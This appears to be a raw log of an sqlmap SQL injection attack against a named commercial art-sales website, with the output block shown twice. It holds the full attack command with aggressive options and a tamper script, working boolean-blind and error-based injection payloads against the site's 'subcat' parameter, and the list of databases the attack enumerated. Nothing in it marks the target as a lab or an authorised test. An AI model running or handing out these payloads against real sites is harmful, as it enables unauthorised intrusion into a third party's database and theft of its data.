sqlmap -u "https://www.affordablebritishart.co.uk/browse_art.php?cat=colour&subcat=yellow&page=18" --dbs --dbms=mysql --random-agent --risk=3 --level=5 --tamper=charencode.py -o --batch
Parameter: subcat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=colour&subcat=yellow%' AND 9103=9103 AND 'imVp%'='imVp&page=18
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=colour&subcat=yellow%' AND GTID_SUBSET(CONCAT(0x71716b7871,(SELECT (ELT(9599=9599,1))),0x7170717a71),9599) AND 'sMpk%'='sMpk&page=18
---
available databases [2]:
[*] db548401584
[*] information_schema

Parameter: subcat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=colour&subcat=yellow%' AND 9103=9103 AND 'imVp%'='imVp&page=18
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=colour&subcat=yellow%' AND GTID_SUBSET(CONCAT(0x71716b7871,(SELECT (ELT(9599=9599,1))),0x7170717a71),9599) AND 'sMpk%'='sMpk&page=18
---
available databases [2]:
[*] db548401584
[*] information_schema